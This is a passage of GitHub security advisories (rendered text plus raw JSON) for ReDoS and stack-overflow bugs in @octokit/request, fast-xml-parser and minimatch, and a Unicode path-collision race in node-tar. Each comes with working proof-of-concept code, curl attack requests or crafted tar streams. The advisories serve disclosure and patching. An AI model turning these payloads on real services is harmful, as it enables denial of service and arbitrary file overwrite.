"details": "### Summary\nThe regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/` used to match the `link` header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex\u0027s matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious `link` header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.\n### Details\nThe vulnerability resides in the regular expression `/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/`, which is used to match the `link` header in HTTP responses. This regular expression captures content between angle brackets (`\u003c\u003e`) followed by `; rel=\"deprecation\"`. However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input.\nAn attacker can exploit this vulnerability by sending a specially crafted `link` header designed to trigger excessive backtracking. For example, the following headers:\n```js\nfakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\nfakeHeaders.set(\"deprecation\", \"true\");\n```\nThe crafted `link` header consists of 100,000 consecutive `\u003c` characters followed by a closing `\u003e`. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load.\nThe issue is present in the following code:\n```js\nconst matches = responseHeaders.link \u0026\u0026 responseHeaders.link.match(/\u003c([^\u003e]+)\u003e; rel=\"deprecation\"/);\n```\nIn this scenario, the `link` header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/2afdabf0fc4cb6cfbd3b1d58b6082f6a)\n1. run npm i @octokit/request\n2. run \u0027node poc.js\u0027\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { request } from \"@octokit/request\";\nconst originalFetch = globalThis.fetch;\nglobalThis.fetch = async (url, options) =\u003e {\n const response = await originalFetch(url, options);\n const fakeHeaders = new Headers(response.headers);\n fakeHeaders.set(\"link\", \"\u003c\".repeat(100000) + \"\u003e\");\n fakeHeaders.set(\"deprecation\", \"true\");\n return new Response(response.body, {\n status: response.status,\n statusText: response.statusText,\n headers: fakeHeaders\n });\n};\nrequest(\"GET /repos/octocat/hello-world\")\n .then(response =\u003e {\n // console.log(\"[+] Response received:\", response);\n })\n .catch(error =\u003e {\n // console.error(\"[-] Error:\", error);\n });\n// globalThis.fetch = originalFetch;\n```\n### Impact\nThis is a *Denial of Service (DoS) vulnerability* caused by a *ReDoS (Regular Expression Denial of Service)* flaw. The vulnerability allows an attacker to craft a malicious `link` header that exploits the inefficient backtracking behavior of the regular expression used in the code.\nThe primary impact is the potential for *server resource exhaustion*, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.\nThe vulnerability impacts any system that uses this specific regular expression to process `link` headers in HTTP responses. This can include:\n* Web applications or APIs that rely on parsing headers for deprecation information.\n* Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.\n* Service providers who may face disruption in operations or performance degradation due to this flaw.\nIf left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious `link` header, making it a low-barrier attack that could be exploited by anyone.",
"id": "GHSA-rmvr-2pp2-xj38",
"modified": "2026-01-16T17:29:36Z",
"published": "2025-02-14T18:00:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/security/advisories/GHSA-rmvr-2pp2-xj38"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25290"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/commit/34ff07ee86fc5c20865982d77391bc910ef19c68"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/commit/356411e3217019aa9fc8a68f4236af82490873c2"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/commit/6bb29ba92a52f7bf94469c3433707c682c17126c"
},
{
"type": "PACKAGE",
"url": "https://github.com/octokit/request.js"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/releases/tag/v8.4.1"
},
{
"type": "WEB",
"url": "https://github.com/octokit/request.js/releases/tag/v9.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "@octokit/request has a Regular Expression in fetchWrapper that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}
GHSA-FJ3W-JWP8-X2G3
Vulnerability from github – Published: 2026-02-26 22:33 – Updated: 2026-03-06 22:00Impact
Application crashes with stack overflow when user use XML builder with prserveOrder:true for following or similar input
[{
'foo': [
{ 'bar': [{ '@_V': 'baz' }] }
]
}]
Cause: arrToStr was not validating if the input is an array or a string and treating all non-array values as text content.
What kind of vulnerability is it? Who is impacted?
Patches
Yes in 5.3.8
Workarounds
Use XML builder with preserveOrder:false or check the input data before passing to builder.
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-beta.0"
},
{
"fixed": "4.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27942"
],
"database_specific": {
"cwe_ids": [
"CWE-120"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:33:10Z",
"nvd_published_at": "2026-02-26T02:16:22Z",
"severity": "LOW"
},
"details": "### Impact\nApplication crashes with stack overflow when user use XML builder with `prserveOrder:true` for following or similar input \n\n```\n[{\n \u0027foo\u0027: [\n { \u0027bar\u0027: [{ \u0027@_V\u0027: \u0027baz\u0027 }] }\n ]\n}]\n```\n\nCause: `arrToStr` was not validating if the input is an array or a string and treating all non-array values as text content.\n_What kind of vulnerability is it? Who is impacted?_\n\n### Patches\nYes in 5.3.8\n\n### Workarounds\nUse XML builder with `preserveOrder:false` or check the input data before passing to builder.\n\n### References\n[_Are there any links users can visit to find out more?_](https://github.com/NaturalIntelligence/fast-xml-parser/pull/791)",
"id": "GHSA-fj3w-jwp8-x2g3",
"modified": "2026-03-06T22:00:11Z",
"published": "2026-02-26T22:33:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-fj3w-jwp8-x2g3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27942"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/pull/791"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/c13a961910f14986295dd28484eee830fa1a0e8a"
},
{
"type": "PACKAGE",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "fast-xml-parser has stack overflow in XMLBuilder with preserveOrder"
}
GHSA-7R86-CG39-JMMJ
Vulnerability from github – Published: 2026-02-26 22:10 – Updated: 2026-02-26 22:10Summary
matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in matchOne() at src/index.ts#L960:
while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time |
|---|---|---|
| 7 | 36 bytes | ~154ms |
| 9 | 46 bytes | ~1.2s |
| 11 | 56 bytes | ~5.4s |
| 12 | 61 bytes | ~9.7s |
| 13 | 66 bytes | ~15.9s |
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
To scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)
No special options are required. This reproduces with the default minimatch() call.
Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)
Terminal 1 -- start the server:
node poc1-server.mjs
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
Observed output (Terminal 3):
{"result":true,"ms":"0"}
time_total: 4.132709s
The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
{"result":true,"ms":"0"}
time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27903"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:10:18Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.\n\n---\n\n### Details\n\nThe vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):\n\n```typescript\nwhile (fr \u003c fl) {\n ..\n if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {\n ..\n return true\n }\n ..\n fr++\n}\n```\n\nWhen a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).\n\nThere is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.\n\nMeasured timing with n=30 path segments:\n\n| k (globstars) | Pattern size | Time |\n|---------------|--------------|----------|\n| 7 | 36 bytes | ~154ms |\n| 9 | 46 bytes | ~1.2s |\n| 11 | 56 bytes | ~5.4s |\n| 12 | 61 bytes | ~9.7s |\n| 13 | 66 bytes | ~15.9s |\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- inline script**\n\n```javascript\nimport { minimatch } from \u0027minimatch\u0027\n\n// k=9 globstars, n=30 path segments\n// pattern: 46 bytes, default options\nconst pattern = \u0027**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b\u0027\nconst path = \u0027a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a\u0027\n\nconst start = Date.now()\nminimatch(path, pattern)\nconsole.log(Date.now() - start + \u0027ms\u0027) // ~1200ms\n```\n\nTo scale the effect, increase k:\n\n```javascript\n// k=11 -\u003e ~5.4s, k=13 -\u003e ~15.9s\nconst k = 11\nconst pattern = Array.from({ length: k }, () =\u003e \u0027**/a\u0027).join(\u0027/\u0027) + \u0027/b\u0027\nconst path = Array(30).fill(\u0027a\u0027).join(\u0027/\u0027)\nminimatch(path, pattern)\n```\n\nNo special options are required. This reproduces with the default `minimatch()` call.\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nThe following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:\n\n```javascript\n// poc1-server.mjs\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3000\n\nconst server = http.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n if (url.pathname !== \u0027/match\u0027) { res.writeHead(404); res.end(); return }\n\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n})\n\nserver.listen(PORT)\n```\n\nTerminal 1 -- start the server:\n```\nnode poc1-server.mjs\n```\n\nTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:\n```\ncurl \"http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb\u0026path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa\" \u0026\n```\n\nTerminal 3 -- while the attack is in-flight, send a benign request:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3000/match?pattern=**%2Fy%2Fz\u0026path=x%2Fy%2Fz\"\n```\n\n**Observed output (Terminal 3):**\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 4.132709s\n```\n\nThe server reports `\"ms\":\"0\"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:\n\n```\n{\"result\":true,\"ms\":\"0\"}\n\ntime_total: 0.001599s\n```\n\n---\n\n### Impact\n\nAny application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.",
"id": "GHSA-7r86-cg39-jmmj",
"modified": "2026-02-26T22:10:18Z",
"published": "2026-02-26T22:10:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments"
}
GHSA-R6Q2-HW4H-H46W
Vulnerability from github – Published: 2026-01-21 01:05 – Updated: 2026-03-16 14:23TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Impact
This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.3"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23950"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:05:49Z",
"nvd_published_at": "2026-01-20T01:15:57Z",
"severity": "HIGH"
},
"details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n paths =\n isWindows ?\n [\u0027win32 parallelization disabled\u0027]\n : paths.map(p =\u003e {\n return stripTrailingSlashes(\n join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n ).toLowerCase()\n })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..\n-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n path: \u0027collision_ss\u0027,\n mode: 0o644,\n size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n path: \u0027collision_\u00df\u0027,\n mode: 0o644,\n size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n cwd: exploitDir,\n // Ensure jobs is high enough to allow parallel processing if locks fail\n jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n console.log(\u0027[*] Extraction complete\u0027);\n\n // Check what exists\n const files = fs.readdirSync(exploitDir);\n console.log(\u0027[*] Files in exploit dir:\u0027, files);\n files.forEach(f =\u003e {\n const p = path.join(exploitDir, f);\n const stat = fs.statSync(p);\n const content = fs.readFileSync(p, \u0027utf8\u0027);\n console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n });\n\n if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n console.log(\u0027\\[*] GOOD\u0027);\n } else {\n console.log(\u0027[-] No collision\u0027);\n }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
"id": "GHSA-r6q2-hw4h-h46w",
"modified": "2026-03-16T14:23:26Z",
"published": "2026-01-21T01:05:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}
